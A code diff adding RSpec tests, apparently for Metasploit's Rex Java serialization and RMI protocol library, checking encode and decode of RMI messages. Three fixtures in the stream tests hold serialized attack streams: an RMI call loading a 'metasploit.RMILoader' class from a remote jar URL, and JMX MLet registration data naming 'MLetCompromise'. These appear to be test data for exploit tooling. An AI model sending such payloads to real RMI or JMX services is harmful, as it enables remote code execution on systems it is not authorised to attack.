||||
end
|
||||
|
||||
it "sets default annotations" do
|
||||
expect(builder.new_class.class_annotation.contents.length).to eq(2)
|
||||
end
|
||||
|
||||
it "sets empty fields" do
|
||||
expect(builder.new_class.fields.length).to eq(0)
|
||||
end
|
||||
|
||||
it "sets null super class" do
|
||||
expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference)
|
||||
end
|
||||
end
|
||||
|
||||
context "when options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
||||
expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
|
||||
it "sets the class name from options" do
|
||||
expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name])
|
||||
end
|
||||
|
||||
it "sets serial version from options" do
|
||||
expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial])
|
||||
end
|
||||
|
||||
it "sets fields from options" do
|
||||
expect(builder.new_class(class_opts).fields.length).to eq(3)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#new_object" do
|
||||
context "when no options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewObject" do
|
||||
expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
|
||||
it "sets empty data" do
|
||||
expect(builder.new_object.class_data).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewObject" do
|
||||
expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
|
||||
it "sets data from options" do
|
||||
expect(builder.new_object(object_opts).class_data[0][1]).to eq(1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#new_array" do
|
||||
context "when no options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewArray" do
|
||||
expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "sets empty values type" do
|
||||
expect(builder.new_array.type).to eq('')
|
||||
end
|
||||
|
||||
it "sets empty values array" do
|
||||
expect(builder.new_array.values).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewArray" do
|
||||
expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "sets empty values type" do
|
||||
expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type])
|
||||
end
|
||||
|
||||
it "sets empty values array" do
|
||||
expect(builder.new_array(array_opts).values).to eq(array_opts[:values])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -116,6 +116,40 @@ describe Rex::Java::Serialization::Model::Stream do
|
|||
EOS
|
||||
}
|
||||
|
||||
let(:rmi_call) do
|
||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
|
||||
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
|
||||
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
|
||||
"\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" +
|
||||
"\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" +
|
||||
"\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" +
|
||||
"\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" +
|
||||
"\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" +
|
||||
"\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00"
|
||||
end
|
||||
|
||||
let(:mbean_call) do
|
||||
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
|
||||
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
|
||||
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
|
||||
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
|
||||
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
|
||||
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
|
||||
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
|
||||
"\x2c\x69\x64\x3d\x31\x78\x70"
|
||||
end
|
||||
|
||||
let(:marshalled_argument) do
|
||||
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
|
||||
"\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" +
|
||||
"\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" +
|
||||
"\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" +
|
||||
"\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74"
|
||||
end
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::Stream" do
|
||||
expect(stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
|
@ -259,6 +293,136 @@ describe Rex::Java::Serialization::Model::Stream do
|
|||
expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
context "when serializing a Java RMI call" do
|
||||
it "serializes the stream correctly" do
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
|
||||
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
|
||||
new_array_desc.serial_version = 0x871300b8d02c647e
|
||||
new_array_desc.flags = 2
|
||||
new_array_desc.fields = []
|
||||
new_array_desc.class_annotation = new_array_annotation
|
||||
new_array_desc.super_class = new_array_super
|
||||
|
||||
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
array_desc.description = new_array_desc
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.type = 'java.rmi.server.ObjID;'
|
||||
new_array.values = []
|
||||
new_array.array_description = array_desc
|
||||
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||
new_class_desc.serial_version = 0xa16544ba26f9c2f4
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
|
||||
expect(stream.encode).to eq(rmi_call)
|
||||
end
|
||||
end
|
||||
|
||||
context "when serializing a MBeanServerConnection.getObjectInstance call data" do
|
||||
it "serializes the stream correctly" do
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03"
|
||||
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
||||
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
||||
new_class_desc.flags = 3
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1')
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
expect(stream.encode).to eq(mbean_call)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
context "when serializing a marshalled argument" do
|
||||
it "serializes the stream correctly" do
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
|
||||
new_array_class_desc.serial_version = 0x90ce589f1073296c
|
||||
new_array_class_desc.flags = 2
|
||||
new_array_class_desc.fields = []
|
||||
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_array_class_desc
|
||||
new_array.type = 'java.lang.Object;'
|
||||
new_array.values = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet')
|
||||
]
|
||||
|
||||
stream.contents << new_array
|
||||
|
||||
expect(stream.encode).to eq(marshalled_argument)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::Call do
|
||||
|
||||
subject(:call) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:call_message) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
|
||||
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
|
||||
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" +
|
||||
"\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" +
|
||||
"\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" +
|
||||
"\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" +
|
||||
"\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" +
|
||||
"\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" +
|
||||
"\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" +
|
||||
"\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" +
|
||||
"\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" +
|
||||
"\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" +
|
||||
"\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" +
|
||||
"\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" +
|
||||
"\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" +
|
||||
"\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" +
|
||||
"\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" +
|
||||
"\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" +
|
||||
"\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" +
|
||||
"\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" +
|
||||
"\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" +
|
||||
"\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" +
|
||||
"\x62\xc1\xc0"
|
||||
end
|
||||
|
||||
let(:call_message_io) { StringIO.new(call_message) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::Call decoded" do
|
||||
expect(call.decode(call_message_io)).to eq(call)
|
||||
end
|
||||
|
||||
it "decodes message id correctly" do
|
||||
call.decode(call_message_io)
|
||||
expect(call.message_id).to eq(Rex::Proto::Rmi::Model::CALL_MESSAGE)
|
||||
end
|
||||
|
||||
it "decodes the call data correctly" do
|
||||
call.decode(call_message_io)
|
||||
expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "re-encodes a Call message correctly" do
|
||||
call.decode(call_message_io)
|
||||
expect(call.encode).to eq(call_message)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,50 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::Continuation do
|
||||
|
||||
subject(:continuation) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32" +
|
||||
"\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::Continuation decoded" do
|
||||
expect(continuation.decode(sample_io)).to eq(continuation)
|
||||
end
|
||||
|
||||
it "decodes length correctly" do
|
||||
continuation.decode(sample_io)
|
||||
expect(continuation.length).to eq(14)
|
||||
end
|
||||
|
||||
it "decodes address correctly" do
|
||||
continuation.decode(sample_io)
|
||||
expect(continuation.address).to eq('172.16.158.132')
|
||||
end
|
||||
|
||||
it "decodes port correctly" do
|
||||
continuation.decode(sample_io)
|
||||
expect(continuation.port).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "encodes the Continuation correctly" do
|
||||
continuation.address = '172.16.158.132'
|
||||
continuation.length = continuation.address.length
|
||||
continuation.port = 0
|
||||
|
||||
expect(continuation.encode).to eq(sample)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::DgcAck do
|
||||
|
||||
subject(:dgc_ack) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x54\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::DgcAck decoded" do
|
||||
expect(dgc_ack.decode(sample_io)).to eq(dgc_ack)
|
||||
end
|
||||
|
||||
it "decodes stream_id correctly" do
|
||||
dgc_ack.decode(sample_io)
|
||||
expect(dgc_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE)
|
||||
end
|
||||
|
||||
it "decodes address correctly" do
|
||||
dgc_ack.decode(sample_io)
|
||||
expect(dgc_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17")
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "encodes the DbgAck correctly" do
|
||||
dgc_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
dgc_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17"
|
||||
|
||||
expect(dgc_ack.encode).to eq(sample)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::OutputHeader do
|
||||
|
||||
subject(:output_header) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:stream_protocol) do
|
||||
"\x4a\x52\x4d\x49\x00\x02\x4b"
|
||||
end
|
||||
|
||||
let(:stream_protocol_io) { StringIO.new(stream_protocol) }
|
||||
|
||||
describe "#decode" do
|
||||
context "when Stream Protocol" do
|
||||
it "returns the Rex::Proto::Rmi::Model::OutputHeader decoded" do
|
||||
expect(output_header.decode(stream_protocol_io)).to eq(output_header)
|
||||
end
|
||||
|
||||
it "decodes signature correctly" do
|
||||
output_header.decode(stream_protocol_io)
|
||||
expect(output_header.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE)
|
||||
end
|
||||
|
||||
it "decodes version correctly" do
|
||||
output_header.decode(stream_protocol_io)
|
||||
expect(output_header.version).to eq(2)
|
||||
end
|
||||
|
||||
it "decodes protocol correctly" do
|
||||
output_header.decode(stream_protocol_io)
|
||||
expect(output_header.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
context "when Stream Protocol" do
|
||||
it "encodes the OutputHeader correctly" do
|
||||
output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE
|
||||
output_header.version = 2
|
||||
output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
expect(output_header.encode).to eq(stream_protocol)
|
||||
end
|
||||
end
|
||||
|
||||
context "when version field missed" do
|
||||
it "doesn't encodes the version" do
|
||||
output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE
|
||||
output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
expect(output_header.encode).to eq("\x4a\x52\x4d\x49\x4b")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::PingAck do
|
||||
|
||||
subject(:ping_ack) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x53"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::PingAck decoded" do
|
||||
expect(ping_ack.decode(sample_io)).to eq(ping_ack)
|
||||
end
|
||||
|
||||
it "decodes stream_id correctly" do
|
||||
ping_ack.decode(sample_io)
|
||||
expect(ping_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PING_ACK)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "encodes the PingAck correctly" do
|
||||
ping_ack.stream_id = Rex::Proto::Rmi::Model::PING_ACK
|
||||
expect(ping_ack.encode).to eq(sample)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::Ping do
|
||||
|
||||
subject(:ping) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x52"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::Ping decoded" do
|
||||
expect(ping.decode(sample_io)).to eq(ping)
|
||||
end
|
||||
|
||||
it "decodes stream_id correctly" do
|
||||
ping.decode(sample_io)
|
||||
expect(ping.stream_id).to eq(Rex::Proto::Rmi::Model::PING_MESSAGE)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "encodes the Ping correctly" do
|
||||
ping.stream_id = Rex::Proto::Rmi::Model::PING_MESSAGE
|
||||
expect(ping.encode).to eq(sample)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::ProtocolAck do
|
||||
|
||||
subject(:protocol_ack) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33" +
|
||||
"\x32\x00\x00\x06\xea"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::ProtocolAck decoded" do
|
||||
expect(protocol_ack.decode(sample_io)).to eq(protocol_ack)
|
||||
end
|
||||
|
||||
it "decodes stream_id correctly" do
|
||||
protocol_ack.decode(sample_io)
|
||||
expect(protocol_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PROTOCOL_ACK)
|
||||
end
|
||||
|
||||
it "decodes length correctly" do
|
||||
protocol_ack.decode(sample_io)
|
||||
expect(protocol_ack.length).to eq(14)
|
||||
end
|
||||
|
||||
it "decodes address correctly" do
|
||||
protocol_ack.decode(sample_io)
|
||||
expect(protocol_ack.address).to eq('172.16.158.132')
|
||||
end
|
||||
|
||||
it "decodes port correctly" do
|
||||
protocol_ack.decode(sample_io)
|
||||
expect(protocol_ack.port).to eq(1770)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "encodes the OutputHeader correctly" do
|
||||
protocol_ack.stream_id = Rex::Proto::Rmi::Model::PROTOCOL_ACK
|
||||
protocol_ack.address = '172.16.158.132'
|
||||
protocol_ack.length = protocol_ack.address.length
|
||||
protocol_ack.port = 1770
|
||||
|
||||
expect(protocol_ack.encode).to eq(sample)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,59 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java'
|
||||
|
||||
describe Rex::Proto::Rmi::Model::ReturnData do
|
||||
|
||||
subject(:return_data) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:return_stream) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
|
||||
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
|
||||
"\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" +
|
||||
"\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" +
|
||||
"\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" +
|
||||
"\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" +
|
||||
"\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
|
||||
"\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" +
|
||||
"\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" +
|
||||
"\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" +
|
||||
"\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" +
|
||||
"\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
|
||||
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" +
|
||||
"\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" +
|
||||
"\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" +
|
||||
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
|
||||
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
|
||||
end
|
||||
|
||||
let(:return_stream_io) { StringIO.new(return_stream) }
|
||||
|
||||
describe "#decode" do
|
||||
it "returns the Rex::Proto::Rmi::Model::ReturnData decoded" do
|
||||
expect(return_data.decode(return_stream_io)).to eq(return_data)
|
||||
end
|
||||
|
||||
it "decodes message id correctly" do
|
||||
return_data.decode(return_stream_io)
|
||||
expect(return_data.stream_id).to eq(Rex::Proto::Rmi::Model::RETURN_DATA)
|
||||
end
|
||||
|
||||
it "decodes the return data correctly" do
|
||||
return_data.decode(return_stream_io)
|
||||
expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
